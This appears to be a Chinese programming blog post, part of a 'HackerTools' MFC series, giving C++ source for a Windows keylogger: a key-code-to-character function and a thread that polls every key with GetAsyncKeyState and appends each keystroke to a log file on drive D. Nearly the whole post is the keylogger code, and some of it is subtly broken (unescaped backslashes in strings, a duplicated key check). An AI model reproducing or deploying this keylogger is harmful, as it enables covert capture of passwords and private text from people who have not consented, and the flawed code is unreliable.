zoukankan      html  css  js  c++  java
  • mfc HackerTools监控键盘按键

    string GetKey(int Key)
    {
        string KeyString = "";
        //判断符号输入
        const int KeyPressMask = 0x80000000; //键盘掩码常量
        int iShift = GetKeyState(0x10); //判断Shift键状态
        bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
        if (Key >= 186 && Key <= 222)
        {
            switch (Key)
            {
            case 186:
                if (IS)
                    KeyString = ":";
                else
                    KeyString = ";";
                break;
            case 187:
                if (IS)
                    KeyString = "+";
                else
                    KeyString = "=";
                break;
            case 188:
                if (IS)
                    KeyString = "<";
                else
                    KeyString = ",";
                break;
            case 189:
                if (IS)
                    KeyString = "_";
                else
                    KeyString = "-";
                break;
            case 190:
                if (IS)
                    KeyString = ">";
                else
                    KeyString = ".";
                break;
            case 191:
                if (IS)
                    KeyString = "?";
                else
                    KeyString = "/";
                break;
            case 192:
                if (IS)
                    KeyString = "~";
                else
                    KeyString = "`";
                break;
            case 219:
                if (IS)
                    KeyString = "{";
                else
                    KeyString = "[";
                break;
            case 220:
                if (IS)
                    KeyString = "|";
                else
                    KeyString = "\";
                break;
            case 221:
                if (IS)
                    KeyString = "}";
                else
                    KeyString = "]";
                break;
            case 222:
                if (IS)
                    KeyString = '"';
                else
                    KeyString = "'";
                break;
            }
        }
        //判断键盘的第一行
        if (Key == VK_ESCAPE) // 退出
            KeyString = "[Esc]";
        else if (Key == VK_F1) // F1至F12
            KeyString = "[F1]";
        else if (Key == VK_F2)
            KeyString = "[F2]";
        else if (Key == VK_F3)
            KeyString = "[F3]";
        else if (Key == VK_F4)
            KeyString = "[F4]";
        else if (Key == VK_F5)
            KeyString = "[F5]";
        else if (Key == VK_F6)
            KeyString = "[F6]";
        else if (Key == VK_F7)
            KeyString = "[F7]";
        else if (Key == VK_F8)
            KeyString = "[F8]";
        else if (Key == VK_F9)
            KeyString = "[F9]";
        else if (Key == VK_F10)
            KeyString = "[F10]";
        else if (Key == VK_F11)
            KeyString = "[F11]";
        else if (Key == VK_F12)
            KeyString = "[F12]";
        else if (Key == VK_SNAPSHOT) // 打印屏幕
            KeyString = "[PrScrn]";
        else if (Key == VK_SCROLL) // 滚动锁定
            KeyString = "[Scroll Lock]";
        else if (Key == VK_PAUSE) // 暂停、中断
            KeyString = "[Pause]";
        else if (Key == VK_CAPITAL) // 大写锁定
            KeyString = "[Caps Lock]";
    
        //-------------------------------------//
        //控制键
        else if (Key == 8) //<- 回格键
            KeyString = "[Backspace]";
        else if (Key == VK_RETURN) // 回车键、换行
            KeyString = "[Enter]
    ";
        else if (Key == VK_SPACE) // 空格
            KeyString = " ";
        //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
        //上档键和别的键组合,输出时有字符输出
        /*
        else if (Key == VK_LSHIFT) // 左侧上档键
        KeyString = "[Shift]";
        else if (Key == VK_LSHIFT) // 右侧上档键
        KeyString = "[SHIFT]";
        */
        /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
        else if (Key == VK_TAB) // 制表键
            KeyString = "[Tab]";
        else if (Key == VK_LCONTROL) // 左控制键
            KeyString = "[Ctrl]";
        else if (Key == VK_RCONTROL) // 右控制键
            KeyString = "[CTRL]";
        else if (Key == VK_LMENU) // 左换档键
            KeyString = "[Alt]";
        else if (Key == VK_LMENU) // 右换档键
            KeyString = "[ALT]";
        else if (Key == VK_LWIN) // 右 WINDOWS 键
            KeyString = "[Win]";
        else if (Key == VK_RWIN) // 右 WINDOWS 键
            KeyString = "[WIN]";
        else if (Key == VK_APPS) // 键盘上 右键
            KeyString = "右键";
        else if (Key == VK_INSERT) // 插入
            KeyString = "[Insert]";
        else if (Key == VK_DELETE) // 删除
            KeyString = "[Delete]";
        else if (Key == VK_HOME) // 起始
            KeyString = "[Home]";
        else if (Key == VK_END) // 结束
            KeyString = "[End]";
        else if (Key == VK_PRIOR) // 上一页
            KeyString = "[PgUp]";
        else if (Key == VK_NEXT) // 下一页
            KeyString = "[PgDown]";
        // 不常用的几个键:一般键盘没有
        else if (Key == VK_CANCEL) // Cancel
            KeyString = "[Cancel]";
        else if (Key == VK_CLEAR) // Clear
            KeyString = "[Clear]";
        else if (Key == VK_SELECT) //Select
            KeyString = "[Select]";
        else if (Key == VK_PRINT) //Print
            KeyString = "[Print]";
        else if (Key == VK_EXECUTE) //Execute
            KeyString = "[Execute]";
    
        //----------------------------------------//
        else if (Key == VK_LEFT) //上、下、左、右键
            KeyString = "[←]";
        else if (Key == VK_RIGHT)
            KeyString = "[→]";
        else if (Key == VK_UP)
            KeyString = "[↑]";
        else if (Key == VK_DOWN)
            KeyString = "[↓]";
        else if (Key == VK_NUMLOCK)//小键盘数码锁定
            KeyString = "[NumLock]";
        else if (Key == VK_ADD) // 加、减、乘、除
            KeyString = "+";
        else if (Key == VK_SUBTRACT)
            KeyString = "-";
        else if (Key == VK_MULTIPLY)
            KeyString = "*";
        else if (Key == VK_DIVIDE)
            KeyString = "/";
        else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
            KeyString = ".";
        //小键盘数字键:0-9
        else if (Key == VK_NUMPAD0)
            KeyString = "0";
        else if (Key == VK_NUMPAD1)
            KeyString = "1";
        else if (Key == VK_NUMPAD2)
            KeyString = "2";
        else if (Key == VK_NUMPAD3)
            KeyString = "3";
        else if (Key == VK_NUMPAD4)
            KeyString = "4";
        else if (Key == VK_NUMPAD5)
            KeyString = "5";
        else if (Key == VK_NUMPAD6)
            KeyString = "6";
        else if (Key == VK_NUMPAD7)
            KeyString = "7";
        else if (Key == VK_NUMPAD8)
            KeyString = "8";
        else if (Key == VK_NUMPAD9)
            KeyString = "9";
        //-------------------------------------------//
    
        //-------------------------------------------//
        //*对字母的大小写进行判断*//
        else if (Key >= 97 && Key <= 122) // 字母:a-z
        {
            if (GetKeyState(VK_CAPITAL)) // 大写锁定
            {
                if (IS) //Shift按下:为小写字母
                    KeyString = Key;
                else // 只有大写锁定:输出大写字母
                    KeyString = Key - 32;
            }
            else// 大写没有锁定
            {
                if (IS) // 按下Shift键: 大写字母
                    KeyString = Key - 32;
                else // 没有按Shift键: 小写字母
                    KeyString = Key;
            }
        }
        else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号
        {
            if (IS)
            {
                switch (Key)
                {
                case 48: //0
                    KeyString = ")";
                    break;
                case 49://1
                    KeyString = "!";
                    break;
                case 50://2
                    KeyString = "@";
                    break;
                case 51://3
                    KeyString = "#";
                    break;
                case 52://4
                    KeyString = "$";
                    break;
                case 53://5
                    KeyString = "%";
                    break;
                case 54://6
                    KeyString = "^";
                    break;
                case 55://7
                    KeyString = "&";
                    break;
                case 56://8
                    KeyString = "*";
                    break;
                case 57://9
                    KeyString = "(";
                    break;
                }
            }
            else
                KeyString = Key;
        }
        if (Key != VK_LBUTTON || Key != VK_RBUTTON)
        {
            if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z
            {
                if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
                {
                    if (IS) // 大写锁定,并且按下上档键:输出为小写字母
                        KeyString = Key + 32;
                    else //只有大写锁定:输出为大写字母
                        KeyString = Key;
                }
                else // 大写没有锁定:a-z
                {
                    if (IS)
                    {
                        KeyString = Key;
                    }
                    else
                    {
                        Key = Key + 32;
                        KeyString = Key;
                    }
                }
            }
        }
        return KeyString;
    }
    UINT KeyRecordProc(LPVOID lpVoid)
    {
        string Filename = "D:\log.txt";//倒出记录文本存在D盘log.txt目录下
        string TempString = "";
        fstream FStream;
        HWND hWnd = NULL;
        wchar_t* WindowName = NULL;
        ::MessageBox(0,L"现在开始键盘记录",L"OK",0);
        FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
        while (true)
        {
            Sleep(5);
            for (int i = 8; i <= 255; i++)
            {
                if ((GetAsyncKeyState(i) & 1) == 1)
                {
                    //获取并写入按键
                    TempString = GetKey(i);
                    FStream.write(TempString.c_str(), TempString.size());
                    FStream.close();
                    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
                }
            }
        }
    }

    开启一个线程循环监听键盘按键。

  • 相关阅读:
    从零开始写代码AdaBoost算法的python实现
    从零开始写代码 ID3决策树Python
    redis有启动,但是其他主机telnet 不通的问题
    关于js查找和筛选和循环的几种方式(find();findIndex();filter();some();every();forEach;map();for/in)
    linux 设置tomcat 重启清空 catalina.out 断舍离
    旋转数组 断舍离
    nginx 普通用户启动配置 && springbootswagger 报错 Unable to infer base url 断舍离
    CentOS yum 直接安装最新的nginx【转】 断舍离
    买卖股票的最佳时机 II 断舍离
    swagger 的 pathmapping 配置的理解 断舍离
  • 原文地址:https://www.cnblogs.com/zebra-bin/p/13202980.html
Copyright © 2011-2022 走看看